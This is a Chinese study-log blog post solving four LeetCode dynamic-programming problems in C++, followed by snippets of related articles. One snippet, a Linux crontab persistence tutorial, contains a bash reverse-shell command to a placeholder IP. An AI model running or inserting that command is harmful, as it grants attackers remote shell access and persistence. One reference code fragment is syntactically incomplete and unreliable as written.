秋招突击——6/30——{爬楼梯、杨辉三角、打家劫舍、完全平方数}

news2024/11/19 4:22:01

文章目录

    • 引言
    • 新作
      • 爬楼梯
        • 个人实现
        • 参考实现
      • 杨辉三角
        • 个人实现
        • 参考实现
      • 打家劫舍
        • 个人实现
        • 参考实现
      • 完全平方数
        • 个人实现
        • 参考实现
    • 总结

引言

  • 回家以来,和朋友的聚会暂时告一段落了,后面就准备闭关,继续准备秋招了,不能在浪费时间了。
  • 加油,虽然我的实习效果不怎么样,但是秋招加油好好准备总是有效果的。

新作

爬楼梯

  • 题目链接
    *
    重点

  • 有两种爬楼梯得方式,分别是爬一步和爬两步两种策略,动态规划可以实现

  • n最大是45

个人实现
  • 状态计算方程应该是f[i] = f[i - 1] + f[i - 2];
  • 这道题是很基础的动态规划题目,总体实现起来比较简单。
class Solution {
public:
    int f[50];
    int climbStairs(int n) {
        f[0] = 1;
        for (int i = 1; i <= n; ++i) {
            f[i] += f[i - 1] ;
            if (i >= 2) f[i] += f[i -2];
        }
        return f[n];
    }
};

在这里插入图片描述

参考实现
  • 声明vector的时候可以指定对应的vector的长度,然后通过该种方式可以进一步节省内存。
class Solution {
public:
    int climbStairs(int n) {
        vector<int>f(n + 1);
        f[0] = 1;
        f[1] = 1;
        for (int i = 2; i <= n; i ++ )
            f[i] = f[i - 1] + f[i - 2];
        return f[n];
    }
};

杨辉三角

  • 题目链接

在这里插入图片描述
注意点

  • 生成杨辉三角的前n行
  • 杨辉三角是当前数字等于肩膀上两个数字之和,所以如何获取肩膀上的两个数的具体的值十分重要。
  • 同时判定每一行结束的位置也十分重要。
  • 开头和末尾的数字一定是的1
个人实现
  • 使用动态规划实现,但是如何定位具体的数字的坐标?
    • f[i][j] = f[i - 1][j - 1] + f[i - 1][j]

问题

  • 在实现过程中,遇到一个问题,这个映射关系还是蛮混乱的,如何写才能更加简单清晰明了,不用像之前一样,每一次都要减去对应的值。

在这里插入图片描述

注意

  • 这里第二重小循环遍历的时候,终止条件是i,并不是n,这里写错了好几次,所以会出问题。
class Solution {
public:
    vector<vector<int>> generate(int n) {
        vector<vector<int>> res = {{1},{1,1}};
        if(n == 1)  return {{1}};
        if(n == 2)  return res;
        for(int i = 3;i <= n;i ++){
            // 这样写是否可以成功?会不会自动加上一个数据?
            res.push_back({});
            res[i - 1].push_back(1);
          
            for(int j = 2;j < i; j++ ){
                // cout<<j<<",:"<<res[i -2].size()<<endl;
                // cout<<res[i -2][j - 1]<<endl;
                res[i - 1].push_back(res[i - 2][j - 2] + res[i -2][j - 1]);
            }
            res[i - 1].push_back(1);
        }

        return res;
    }
};
参考实现

参考分析

  • 下述是y总的代码,对于每一次都需要进行变换的二次数组,可以使用一个中间变量进行保存,这样写就方便很多。
  • 直接获取数组的最后一个vector,然后再新建一个vector,然后改变新建的vector,生成的新的vector数组。
class Solution {
public:
    vector<vector<int>> generate(int numRows) {
        vector<vector<int>> res;
        if (!numRows) return res;
        res.push_back(vector<int>(1, 1));
        for (int i = 1; i < numRows; i ++ )
        {
            vector<int> &last = res.back();
            vector<int> temp;
            temp.push_back(1);
            for (int i = 0; i + 1 < last.size(); i ++ )
                temp.push_back(last[i] + last[i + 1]);
            temp.push_back(1);
            res.push_back(temp);
        }
        return res;
    }
};

作者:yxc
链接:https://www.acwing.com/solution/content/209/
来源:AcWing
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处

打家劫舍

题目链接
在这里插入图片描述
注意

  • 如果同时闯入相邻房屋就会触发报警==》不能同时选择相邻的两个元素
  • 求取最高的金额
个人实现
  • 这道题就是一个标准的状态DP,而且和之前的大盗阿福很像,之前的分析链接如下

  • 股票买卖状态机

  • 股票买卖状态机2

  • 这里获取对应的状态即可,每一个房屋只有两个状态,取或者不取,然后如果上一个取了,这一次就不能取

  • f[i] = max(f[i - 1],f[i - 1] + w[i])

    • 感觉有点小问题,这个状态转移方程有点问题,上一个取了,我怎么知道上一个取了?我需要管吗?很明显是需要的,因为上一个状态是会影响当前的状态,但是怎么表示?
    • 两个矩阵吗?明显不是的,想想之前的股票买卖问题,我可以定义两个状态,相当于是两个状态转移方程
    • f[i][0]表示第i个房屋已经抢了
    • f[i][1]表示第i个房屋没有被抢
  • 那么这样定义之后,这种状态方程就简单很多了。具体状态转移方程如下

    • f[i][0] = max(f[i-1][1] + w[i])
      • 当前房屋被抢了,只有一种可能会变成当前状态,就是上一个房屋没有被抢
    • f[i][1] = max(f[i-1][1] ,f[i-1][0] ),总共有两种情况
      • 上一个房屋被抢了
      • 上一个房屋没有被抢

具体实现如下

class Solution {
public:
    int rob(vector<int>& n) {
        vector<vector<int>> f;
        // 更新一下f[0][0]
        f.push_back({n[0],0});
        int l = n.size();
        for(int i = 1;i < l;i ++){
            f.push_back({0,0});
            cout<<f[i][0]<<"  "<<f[i][1]<<endl;
            // 第i个家,抢了
            f[i][0] = f[i-1][1] + n[i];
            // 第i个家,不抢
            f[i][1] = max(f[i-1][0],f[i-1][1]);
        }

        return max(f[l-1][1],f[l-1][0]);
    }
};

在这里插入图片描述

参考实现
  • 我写的还是太复杂冗余了,看看这个代码,写的多简洁。
  • 既然同时申请二维的vector是一件困难的事情,为什么不直接申请两个一维的数组,这样效果不是更好吗?
  • 而且刚才还在对数组的索引产生疑惑,不知道怎么处理更好,为什么不直接从第二天开始索引?
int rob(vector<int> nums)
int n = nums.size();
vector<int> f(n + 1),g(n + 1);
for(int i = 1;i <= n;i ++){
	f[i] = g[ i -1] + nums[i -1];
	g[i] = max(f[i - 1],g[i - 1]);
	}
return max(f[n],g[n]);
}

完全平方数

  • 题目链接
    在这里插入图片描述
    重点
  • 完全平方数:自己和自己的乘积的和
  • 和为n 的完全平方数的最小数量
个人实现
  • 这道题应该不是上一题一样的状态DP,回顾一下我们经历过那几个类型的DP
    • 背包问题
    • 数字三角问题
    • 树形DP
    • 单调队列
    • 最大上升子序列
    • 状态压缩DP
    • 状态DP
    • 区间DP
  • 从目前来看,感觉很像是一个完全背包问题,然后计算的是最小值,状态转移矩阵如下
    • f[i][j]
      • i表示第几个完全平方数
      • j表示当前目标值
    • f[i][j] = f[i][k] k为第i个物体不断重复k次,知道超过背包容量
class Solution {
public:
    int numSquares(int n) {
        
        // 创建并保存每一个需要遍历的变量
        vector<int> exp;
        for(int i = 1;i*i <= n;i ++) {
            exp.push_back(i*i);
            if(i * i == n)  return 1;
        }

        // 创建需要保存数据的二维矩阵
        int l = exp.size();
        // int f[l + 1][n + 1];
        // memset(f,INT_MAX,sizeof(f));
        vector<vector<int>> f(l + 1);
        for(int s = 0; s <= n;s ++) 
            // f[0][s] = s;
            f[0].push_back(s);
        for(int i = 1;i < l;i ++){
            for(int s = 0; s <= n;s ++){
                f[i].push_back(INT_MAX);
                // 当前的数字不放任何物体
                f[i][s] = f[i - 1][s];
                for(int j = 1 ;j * exp[i] <= s; j ++ ){
                    // 靠,这里看错了,调试了半天,居然是结果弄错了!
                    // cout<<"exp[i]:"<<exp[i]<<"  i:"<<i<<"  s:"<<s<<"  j"<<j<<endl;
                    // cout<<f[i - 1][s - j * exp[i]]<<endl;
                    // cout<<f[i][s]<<endl;

                    f[i][s] = min(f[i][s] , f[i - 1][s - j * exp[i]] + j);
                }
            }
        }
        return f[l - 1][n];

    }
};

在这里插入图片描述

  • 很明显,这里要使用公式转换和滚动矩阵进行优化,这里的代码我会推导,但是没有时间了,直接看参考代码吧
参考实现
  • 下面这个代码太不寻常了,肯定是使用了我不知道是什么数学推理,或者没有发现的规律,已经不是动态规划l了。
    *
  • 当真的是的!
class Solution {
public:
    bool check(int x) {
        int r = sqrt(x);
        return r * r == x;
    }

    int numSquares(int n) {
        if (check(n)) return 1;

        for (int a = 1; a <= n / a; a ++ )
            if (check(n - a * a))
                return 2;

        while (n % 4 == 0) n /= 4;
        if (n % 8 != 7) return 3;
        return 4;
    }
};

动态规划问题二
有一个关键的集合表示方法,就是当前的集合可以使用一个平方数进行表示,然后剩下的数字能不能使用一个平方和数字使用保存。

class Solution {
public:
    int numSquares(int n) {
        vector<int> f(n + 1);
        for (int i = 1; i <= n; i++) {
            int minn = INT_MAX;
            for (int j = 1; j * j <= i; j++) {
                minn = min(minn, f[i - j * j]);
            }
            f[i] = minn + 1;
        }
        return f[n];
    }
};

作者:力扣官方题解
链接:https://leetcode.cn/problems/perfect-squares/solutions/822940/wan-quan-ping-fang-shu-by-leetcode-solut-t99c/
来源:力扣(LeetCode)
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

总结

  • 今天状态还行,上午做的两道简单题基本上都是在限定时间内做出来的。
  • 虽然之前浪费了很多时间,但是这些浪费也不是完全无用的,至少到现在,做的三道动态规划题目,都能够在规定的二十五分钟内完成,还是有用的。
  • 今天晚上两道中等题,都是做出来了,第一道题AC了,第二道题大部分样例都是AC的,但是超时了。 后续可以在修改。
  • 今天少做了一题,明天继续加油!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1882235.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

windosw下宝塔面板mysql无法使用的问题

先了解一下什么是wsl1和wsl2 WSL 1:WSL 1 使用的是一个兼容层,通过翻译 Linux 系统调用,使其能够在 Windows 内核上运行。这种方法的性能较好,但并不能完全兼容所有的 Linux 功能。WSL 2:WSL 2 通过使用真正的 Linux 内核在轻量级虚拟机 (VM) 中运行 Linux,这使得它能更好…

玛格家居从深交所转板北交所:营收净利润连年下滑,销售费用大增

《港湾商业观察》施子夫 近日&#xff0c;玛格家居股份有限公司&#xff08;以下简称&#xff0c;玛格家居&#xff09;发布公告&#xff0c;重庆证监局已经受理其北交所上市的备案申请&#xff0c;辅导机构为国泰君安证券。 公开信息显示&#xff0c;2022年1月&#xff0c;玛…

3.js - premultiplyAlpha

你瞅啥啊&#xff01;&#xff01;&#xff01; 先看效果图吧 代码 // ts-nocheck // 引入three.js import * as THREE from three // 导入轨道控制器 import { OrbitControls } from three/examples/jsm/controls/OrbitControls // 导入lil.gui import { GUI } from three/ex…

qt打包生成的.exe 桌面快捷键图标模糊/有锯齿

图标使用的是ico文件,如果你的ico里面只有一个尺寸的.png图片,那么qt打包好的exe快捷键图标就会模糊/有锯齿 1.IcoFX图标编辑v3.8.0 便携版 下载地址: http://www.xz7.com/downinfo/547373.html 这个支持中文 2.准备一个256x256的png图标 3.操作流程 然后另存为ico格式即可

stm32学习笔记---DMA直接存储器存取(代码部分)DMA数据转运/DMA+AD多通道

目录 第一个代码&#xff1a;DMA数据转运 扩展知识 DMA的配置步骤 DMA的库函数 DMA_DeInit DMA初始化和DMA结构体初始化函数 DMA_Cmd DMA_ITConfig DMA_SetCurrDataCounter DMA_GetCurrDataCounter 四个获取标志位状态函数 代码实现 MyDMA.c 第一步&#xff0c;开…

权限维持-Linux-定时任务-Crontab后门

目录 靶机编辑后门反弹 靶机添加定时任务 攻击机监听 靶机编辑后门反弹 vim /etc/.xiaodi.sh --创建文件bash -i >& /dev/tcp/IP/998 0>&1 --反弹代码chmod x /etc/.xiaodi.sh --给执行权限 靶机添加定时任务 vim /etc/crontab */1 * * * * r…

10亿数据如何最快速插入MySQL?

最快的速度把10亿条数据导入到数据库&#xff0c;首先需要明确一下&#xff0c;10亿条数据什么形式存在哪里&#xff0c;每条数据多大&#xff0c;是否有序导入&#xff0c;是否不能重复&#xff0c;数据库是否是MySQL&#xff1f; 假设和面试官明确后&#xff0c;有如下约束 …

40、 防火墙--博客

40、防火墙 一、防火墙 1.1、备份防火墙规则 1、iptables的配置文件 /etc/sysconfig/iptables2、创建临时规则&#xff0c;save到备份文件&#xff0c;再清空规则&#xff0c;用cat备份文件到配置文件。利用重定向写入。 备份文件iptables-save >/opt/iptables.bak 备…

idk17配置

只需要把zip包解压&#xff0c;然后配置环境变量&#xff1a; bin目录路径粘到path里面就好了 然后打开cmd窗口分别输入 java javac java -version 验证

无人机的起源

无人机起源于20世纪初的早期实验阶段&#xff0c;并随着技术进步逐步发展。无人机&#xff0c;作为现代科技领域中的一项重要创新&#xff0c;已经在全球范围内展现出其巨大的潜力和应用价值。 无人机的历史可以追溯到1917年&#xff0c;美国人艾德温.奥斯特林发明了“飞行训练…

免费分享:中国十年度及361个城市平均NDVI值统计数据集(附下载方法)

中分辨率成像光谱仪(MODerate-resolution Imaging Spectroradiometer)-MODIS是Terra和Aqua卫星上搭载的主要传感器之一&#xff0c;MODIS 数据有 36 个光谱波段&#xff0c;1-2 天可覆盖地球表面一次&#xff0c;数据从2000年4月开始向全球免费分发数据。 GIMMS&#xff08;gl…

什么是代理IP节点?它又是如何工作的?

代理IP节点是指在网络通信中充当中间角色的设备或服务器&#xff0c;它扮演着信息中转站的角色&#xff0c;用于转发网络请求和响应。代理IP节点的设置可以实现多种功能&#xff0c;包括但不限于访问控制、加密通信、提高安全性、负载均衡等。今天IPIDEA代理IP就带大家详细了解…

使用StarWind软件做P2V转换

近期有个项目要将一个老的Win7还有XP 32位版本转换为虚拟机。先后用了StarWind&#xff0c;Vmwared的vcenter conerter&#xff0c;还有disk2vhd软件工具。本文介绍下StarWind的使用和一些优势。 其实转换过程很简单&#xff0c;难度是转换以后的虚机无法正常启动。对于虚机的…

万界星空科技服装行业MES系统解决方案

据调查&#xff0c;我国大多数服装厂目前存在两大问题&#xff1a; 第一&#xff0c;是生产设备先进&#xff0c;但管理模式落后&#xff0c;仍采用手工管理模式&#xff0c;未实现信息化&#xff1b; 第二&#xff0c;仍有大量的人工站&#xff0c;短时间内难以用设备代替&a…

web平台—apache

web平台—apache 1. 学apache前需要知道的知识点2. apache详解2.1 概述2.2 工作模式2.3 启动apache网站整体流程2.4 相关文件保存位置2.5 配置文件详解 3. apache配置实验实验1&#xff1a;设置apache的目录别名实验2&#xff1a;apache的用户认证实验3&#xff1a;虚拟主机 (重…

网络安全等级保护2.0(等保2.0)全面解析

一、等保2.0的定义和背景 网络安全等级保护2.0&#xff08;简称“等保2.0”&#xff09;是我国网络安全领域的基本制度、基本策略、基本方法。它是在《中华人民共和国网络安全法》指导下&#xff0c;对我国网络安全等级保护制度进行的重大升级。等保2.0的发布与实施&#xff0c…

【网络专用语解释】arp协议

ARP协议 是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机&#xff0c;并接收返回消息&#xff0c;以此确定目标的物理地址&#xff1b;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间&am…

基于STM32的智能门锁控制系统

目录 引言环境准备智能门锁控制系统基础代码实现&#xff1a;实现智能门锁控制系统 4.1 数据采集模块4.2 数据处理与分析4.3 控制系统实现4.4 用户界面与数据可视化应用场景&#xff1a;门锁管理与优化问题解决方案与优化收尾与总结 1. 引言 智能门锁控制系统通过使用STM32嵌…

zdppy_api+vue3+antd开发前后端分离的tab卡片

后端代码 import api import uploadsave_dir "uploads"async def rand_content(request):key api.req.get_query(request, "key")return api.resp.success(f"{key} " * 100)app api.Api(routes[api.resp.get("/", rand_content),u…

【Python画图-循环01】一文叫你搭建python画图最优环境配置

【Python画图-循环01】一文叫你搭建python画图最优环境配置 本次修炼方法请往下查看 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合&#xff0c;智慧小天地&#xff01; &#x1f387; 免费获取相关内容文档关注&#…